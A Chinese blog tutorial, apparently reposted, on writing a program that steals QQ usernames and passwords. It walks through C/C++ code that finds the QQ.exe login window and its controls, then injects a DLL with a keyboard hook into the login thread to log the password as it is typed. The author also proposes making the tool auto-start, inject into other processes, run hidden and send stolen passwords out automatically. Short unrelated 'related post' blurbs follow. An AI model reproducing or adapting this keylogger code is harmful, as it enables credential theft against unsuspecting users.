编程实现盗版QQ「建议收藏」

编程实现盗版QQ「建议收藏」源码下载(附件1 )一、思路分析  (一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;二、 实现过程   (一) 定义宏   (二) 枚举进程找到QQ.exe   (三) 枚举所有窗口,找属于QQ.exe的窗口   (四) 获取用户名、密码、登陆按钮的句柄   (五) 创建钩子用的DLL   (六) 安装钩子  一直以来我对盗QQ这种技术都比较的好奇,最近为了练

大家好,又见面了,我是你们的朋友全栈君。源码下载(
附件1 )

一、思路分析

  (一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;
二、 实现过程 
  (一) 定义宏 
  (二) 枚举进程找到QQ.exe 
  (三) 枚举所有窗口,找属于QQ.exe的窗口 
  (四) 获取用户名、密码、登陆按钮的句柄 
  (五) 创建钩子用的DLL 
  (六) 安装钩子

  一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下:
 

编程实现盗版QQ「建议收藏」

  本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。

  一、 思路分析
  一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。

  (一) 数据包的角度
  从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。

  (二) 钩子角度
  平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。

1. 钩子简介
  钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图:

编程实现盗版QQ「建议收藏」

  2. 程序流程
  Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图:
 

编程实现盗版QQ「建议收藏」

   从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图:

编程实现盗版QQ「建议收藏」

编程实现盗版QQ「建议收藏」

  编程实现盗版QQ「建议收藏」

 

二、 实现过程
  有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的关键代码:

  (一) 定义宏
  //QQ登陆框正常情况下的风格
  #define QQLoginDlgNormalStyle  0x94CA00C4
  //QQ登陆框最小化时的风格
  #define QQLoginDlgMiniStyle  0xB4CA00C4
  //用户名下拉控件的ID
  #define QQLoginUserNameId  0x0000008A
  //密码控件文本框的ID
  #define QQLoginPasswordId  0x000000B4
  //登陆按扭的ID
  #define QQLoginButtonId         0x00003EA0

  (二) 枚举进程找到QQ.exe
  //定义PROCESSENTRY32结构
   PROCESSENTRY32 pe;
   pe.dwSize = sizeof(pe); 
   HANDLE hProcessSnap;
   //所有进程快照
   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   if(hProcessSnap == INVALID_HANDLE_VALUE)
   {

      printf(“进程快照失败!/n”);
      return -1;
   }
   BOOL bRet;
   //遍历进程快照,轮流显示每个进程的信息
   bRet = Process32First(hProcessSnap,&pe);
   while(bRet)
   {

      //pe.szExeFile保存的值为进程对应的可执行文件名
      if(strcmp(pe.szExeFile,”QQ.exe”) ==0) 
    { 
      //这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。
     BOOL bRet;
     //枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
     bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
     if(bRet == FALSE)
     {

      printf(“枚举所有窗口失败!/n”);
      return -1;
     }
  }
  }  
  这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。

(三) 枚举所有窗口,找属于QQ.exe的窗口
  BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
  {

   if(hwnd == NULL)
   {

    return FALSE;
   }
   //QQ.exe的ID
   DWORD dwQQProcessID;
   dwQQProcessID = (DWORD)lParam;
   GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID); 
   //如果创建QQ.exe的进程等于创建窗口的进程 
   if(dwQQProcessID == dwCreateWindowProcessID)
   {

    LONG lWindowStyle;
    //找到窗口的风格
    lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);  
    //如果条件成立,表示当前窗口为登陆窗口
    if(lWindowStyle == QQLoginDlgNormalStyle ||
     lWindowStyle == QQLoginDlgMiniStyle)
    { 
     //保存登陆窗口的句柄
     hLoginWindow = hwnd;  
    } 
   } 
   return TRUE;
  }
  该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。

  (四) 获取用户名、密码、登陆按钮的句柄
  BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
  {

   if(hwnd == FALSE)
   {

    return FALSE;
   }
   LONG  lID;
   //取得所有子窗口的ID
   lID = GetWindowLong(hwnd, GWL_ID);
   //该句表示找到用户名的句柄
   if(lID == QQLoginUserNameId)
   {  
    hUserName = hwnd; 
   }
   else if(lID == QQLoginPasswordId)
   {

    hUserPwd = hwnd;
   }
   else if(lID == QQLoginButtonId)
   {

    hLoginButton = hwnd; 
   }
   return TRUE;
  }

  注意:以上回调函数用到了三个变量,别忘了在顶部定义哦!

  //用户名、密码、登陆按钮的句柄
  HWND hUserName;
  HWND hUserPwd;
  HWND hLoginButton;

(五) 创建钩子用的DLL
  1. 申明函数
  新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:
  #define QQHookLIB_API __declspec(dllexport)
  //声明要导出的函数
  //安装键盘钩子函数         
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID);

  2. 申明共享数据段以及导出函数
  选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:
  EXPORTS

   SetKeyBoardHook
  SECTIONS
   QQSpyShare Read Write Shared
  这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。

  3. DLL主要代码
  接下来在QQHook.cpp文件中添加如下代码:

  //共享数据段,注意要初始化
  #pragma data_seg(“QQSpyShare”)
  HWND  g_hLoginWindowWnd = NULL; //QQ主窗口句柄
  HHOOK g_hMessageHook = NULL;  //消息钩子句柄
  HHOOK g_hKeyBoardHook = NULL;  //键盘钩子句柄
  HWND hQQLoginUserName = NULL;
  HWND hQQLoginUserPwd = NULL;
  HWND hQQLoginButton = NULL;
  #pragma data_seg()

  //安装键盘钩子函数          
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID)
  {

   BOOL bResult;

   if(bInstall)
   { 
    //保存用户名的句柄
    hQQLoginUserName = hUserName;
    //保存密码的句柄
    hQQLoginUserPwd = hUserPwd; 
    //保存登陆QQ按钮的句柄
    hQQLoginButton = hLoginButton;
    //保存登陆窗口的句柄
    g_hLoginWindowWnd = hLoginWindow;
    //登陆窗口的主线程,安装钩子的时候要用
    DWORD dwCreateLoginWindowThreadId;
    dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);  
    //在登陆窗口主线程上安装钩子
    g_hKeyBoardHook = SetWindowsHookEx(
     WH_KEYBOARD,     //安装键盘钩子
     (HOOKPROC)KeyBoardProc,   //键盘钩子回调函数
     hDll,        //QQHook.dll模块句柄
     dwCreateLoginWindowThreadId);   //登陆窗口的主线程

    if(g_hKeyBoardHook == NULL)
    {

     printf(“键盘钩子安装失败!”);
     return FALSE;
    }
    else
    {

     printf(“键盘钩子安装成功了!”);
     return TRUE;
    }
  
   }
   else
   {

    //卸载钩子
    bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
    if(bResult == TRUE)
    {

     printf(“键盘钩子卸载成功!”);
     return TRUE;
    }
    else
    {

     printf(“键盘钩子卸载失败!”);
     return FALSE;
    }
   }
   return TRUE;
  }

  以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码:

//键盘钩子回调函数
  LRESULT CALLBACK KeyBoardProc(int ncode,
          WPARAM wParam,
          LPARAM lParam
          )
  {

   //创建一个缓冲区保存连起来的密码
   static char buf[250] = {0};
   //用于保存用户名框的内容
   char cUserName[10];
   ZeroMemory(cUserName, 10);
   //用于保存用户在密码框上的每一个按键
   char cUserPwd[30];
   //如果按的键是回车键
   if (wParam == VK_RETURN && lParam > 0)
   {

    //得到用户名的值保存在cUserName中,密码框的值不能通过这种方法获得
    SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
   }

   //如果不是按回车,并且是在密码框中输入
   if (lParam > 0 && wParam != VK_RETURN &&
    //当前输入框为密码框
    hQQLoginUserPwd == GetFocus())
   {

    //记下密码框中输入的字符
    GetKeyNameText(lParam, cUserPwd, 30);

    //以下代码把每一次按的键连起来形成一个完整的密码
    static int index = 0;
    if(index == 0)
    {

     if(strcmp(cUserPwd,”Num 1″) == 0)
     {

      strcpy(buf,”1″);
     }
     else if(strcmp(cUserPwd,”Num 2″) == 0)
     {

      strcpy(buf,”2″);   
     }
     else if(strcmp(cUserPwd,”Num 3″) == 0)
     {

      strcpy(buf,”3″);   
     }
     else if(strcmp(cUserPwd,”Num 4″) == 0)
     {

      strcpy(buf,”4″);   
     }
     else if(strcmp(cUserPwd,”Num 5″) == 0)
     {

      strcpy(buf,”5″);   
     }
     else if(strcmp(cUserPwd,”Num 6″) == 0)
     {

      strcpy(buf,”6″);   
     }
     else if(strcmp(cUserPwd,”Num 7″) == 0)
     {

      strcpy(buf,”7″);   
     }
     else if(strcmp(cUserPwd,”Num 8″) == 0)
     {

      strcpy(buf,”8″);   
     }
     else if(strcmp(cUserPwd,”Num 9″) == 0)
     {

      strcpy(buf,”9″);   
     }
     else if(strcmp(cUserPwd,”Num 0″) == 0)
     {

      strcpy(buf,”0″);   
     }
     else
     {

      strcpy(buf,cUserPwd);
     }
    }
    else
    {

     if(strcmp(cUserPwd,”Num 1″) == 0)
     {

      strcat(buf,”1″);
     }
     else if(strcmp(cUserPwd,”Num 2″) == 0)
     {

      strcat(buf,”2″);   
     }
     else if(strcmp(cUserPwd,”Num 3″) == 0)
     {

      strcat(buf,”3″);   
     }
     else if(strcmp(cUserPwd,”Num 4″) == 0)
     {

      strcat(buf,”4″);   
     }
     else if(strcmp(cUserPwd,”Num 5″) == 0)
     {

      strcat(buf,”5″);   
     }
     else if(strcmp(cUserPwd,”Num 6″) == 0)
     {

      strcat(buf,”6″);   
     }
     else if(strcmp(cUserPwd,”Num 7″) == 0)
     {

      strcat(buf,”7″);   
     }
     else if(strcmp(cUserPwd,”Num 8″) == 0)
     {

      strcat(buf,”8″);   
     }
     else if(strcmp(cUserPwd,”Num 9″) == 0)
     {

      strcat(buf,”9″);   
     }
     else if(strcmp(cUserPwd,”Num 0″) == 0)
     {

      strcat(buf,”0″);   
     }
     else
     {

      strcat(buf,cUserPwd);
     }
    }
    ++index;
   }

   //如果按的是回车,将上面得到的用户名和密码连在一起显示
   if (wParam == VK_RETURN && lParam > 0)
   {

    char cAccount;
    strcpy(&cAccount,”用户名:”);
    strcat(&cAccount,cUserName);
    strcat(&cAccount,”/n密  码:”);
    strcat(&cAccount,buf);
    strcat(&cAccount,”/nBy:∮明天去要饭”);
    //cAccount中保存了用户名和密码,想怎么处理就怎么处理
    MessageBox(NULL,&cAccount,”QQ帐号:”,MB_OK);
    return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
   }
   return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
  }

  这里需要注意以下几个问题:
  1. 回调函数相当于是QQ.exe的函数,所以在DLL中的变量值如果想在回调函数中用,需要把变量定义在共享数据段中,这样才能被回调函数执行。

  2. 定义的变量index之所以要定义成static,是因为index要保持上一次运行的值,也就是说index只能被初始化一次。static char buf[250] = {0}这一句也是一个道理。当用户在QQ登陆窗口的密码框中输东西时,就会执行该回调函数,该回调函数每一次记下的值只是一个键盘按键,只有将按键连起来才是一个密码。

  3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要对得到的按键进行处理。

  4. 从这个回调函数可以知道,如果用户在输密码的时候后退了,或是删除了密码再继续输入,那么记录下来的内容将是不准确的。另外,当用户输入的是小写字母的时候,显示出来的值会是大写字母,这也是一个BUG,不过盗QQ程序的原理就是这样了。

(六) 申明导出函数

  (七) 安装钩子
  上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。
     //用户名、密码、登陆按钮的句柄都不为空时安装钩子
     if(hUserName != NULL &&
      hUserPwd != NULL &&
      hLoginButton != NULL)
     {

      //得到DLL模块的句柄
      hDll = GetModuleHandle(“QQHook.dll”);
      if(hDll == NULL)
      {

       return FALSE;
      }
      //安装键盘钩子
      bKeyBoardHook = SetKeyBoardHook(
       TRUE,
       hDll,
       hLoginWindow,
       hUserName,
       hUserPwd,
       hLoginButton,
       dwCreateWindowProcessID);    
      if(bKeyBoardHook == FALSE)
      {

       printf(“调用键盘钩子失败!”);
       return FALSE;
      }
     }

  以上就是盗QQ程序的关键代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:
  1. 改进记录密码的代码。
  2. 加入对鼠标点击“登录QQ”进行HOOK的代码。
  3. 设置成自动启动。
  4. 注入到别的进程中。
  5. 运行的时候没有界面,记录下来后自动发送密码。

  由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,特别要感谢兰陵笑笑生给我提供思路。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/162218.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 扒站工具Teleport Pro教程

    扒站工具Teleport Pro教程1.下载软件http://www.jb51.net/softs/44134.html2.安装3.界面先点开帮助点注册(类似于激活成功教程要不全站扒不全)下面请看ppt,http://www.docin.com/p-633879246.html阿西吧,麻麻再也不用担心我的网站了转载于:https://www.cnblogs.com/MagicZhao123/p/64…

    2025年10月8日
    3
  • java自适应网站成品源代码出售 h5网页推广展示型官网CMS系统源码

    java自适应网站成品源代码出售 h5网页推广展示型官网CMS系统源码QQ:464652874项目具体详情点击这企业门户网站系统源代码java响应式企业官网成品源码公司行业通用源代码web网站出售可二次开发源码项目介绍:企业门户网站系统能够通过互联网得到广泛的、全面的宣传,让尽可能多的企业了解和熟知企业门户网站系统的便捷高效,不仅为用户提供了服务,而且也推广了自己,让更多的用户了解自己。对于企业而言,若拥有自己的企业门户网站系统,通过企业门户网站系统让企业的宣传、营销提上一个新台阶,同时提升了企业形象。技术介绍:前端页面自适应,支持PC和H5手机端、平

    2022年7月7日
    25
  • js中的闭包[通俗易懂]

    js中的闭包[通俗易懂]闭包是js的一个难点也是它的一个特色,是我们必须掌握的js高级特性,那么什么是闭包呢?它又有什么用呢?我们都知道,js的作用域分两种,全局和局部,基于我们所熟悉的作用域链相关知识,我们知道在js作用域环境中访问变量的权利是由内向外的,内部作用域可以获得当前作用域下的变量并且可以获得当前包含当前作用域的外层作用域下的变量,反之则不能,也就是说在外层作用域下无法获取内层作用域下的变量,同样在不同的函…

    2022年6月25日
    26
  • django restful API 代码自动生成_阿里restful接口规范

    django restful API 代码自动生成_阿里restful接口规范restful接口规范什么是接口规范?接口规范就是为了采用不同的后台语言,也能使用同样的接口获取到同样的数据。如何写接口:接口规范是规范化书写接口的,写接口要写url、响应数据​注:如果将请求参

    2022年7月31日
    8
  • 常见算法时间复杂度

    常见算法时间复杂度时间复杂度算法分析同一问题可用不同算法解决,而一个算法的质量优劣将影响到算法乃至程序的效率。算法分析的目的在于选择合适算法和改进算法。一个算法的评价主要从时间复杂度和空间复杂度来考虑。一、时间复杂度(1)时间频度一个算法执行所耗费的时间,从理论上是不能算出来的,必须上机运行测试才能知道。但我们不可能也没有必要对每个算法都上机测试,只需知道哪个算法花费

    2022年5月15日
    43
  • 从零到上亿用户,我是如何一步步优化MySQL数据库的?(建议收藏)[通俗易懂]

    从零到上亿用户,我是如何一步步优化MySQL数据库的?(建议收藏)[通俗易懂]冰河亲历的亿级流量下的MySQL优化实战,强烈建议收藏!!

    2022年5月22日
    40

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号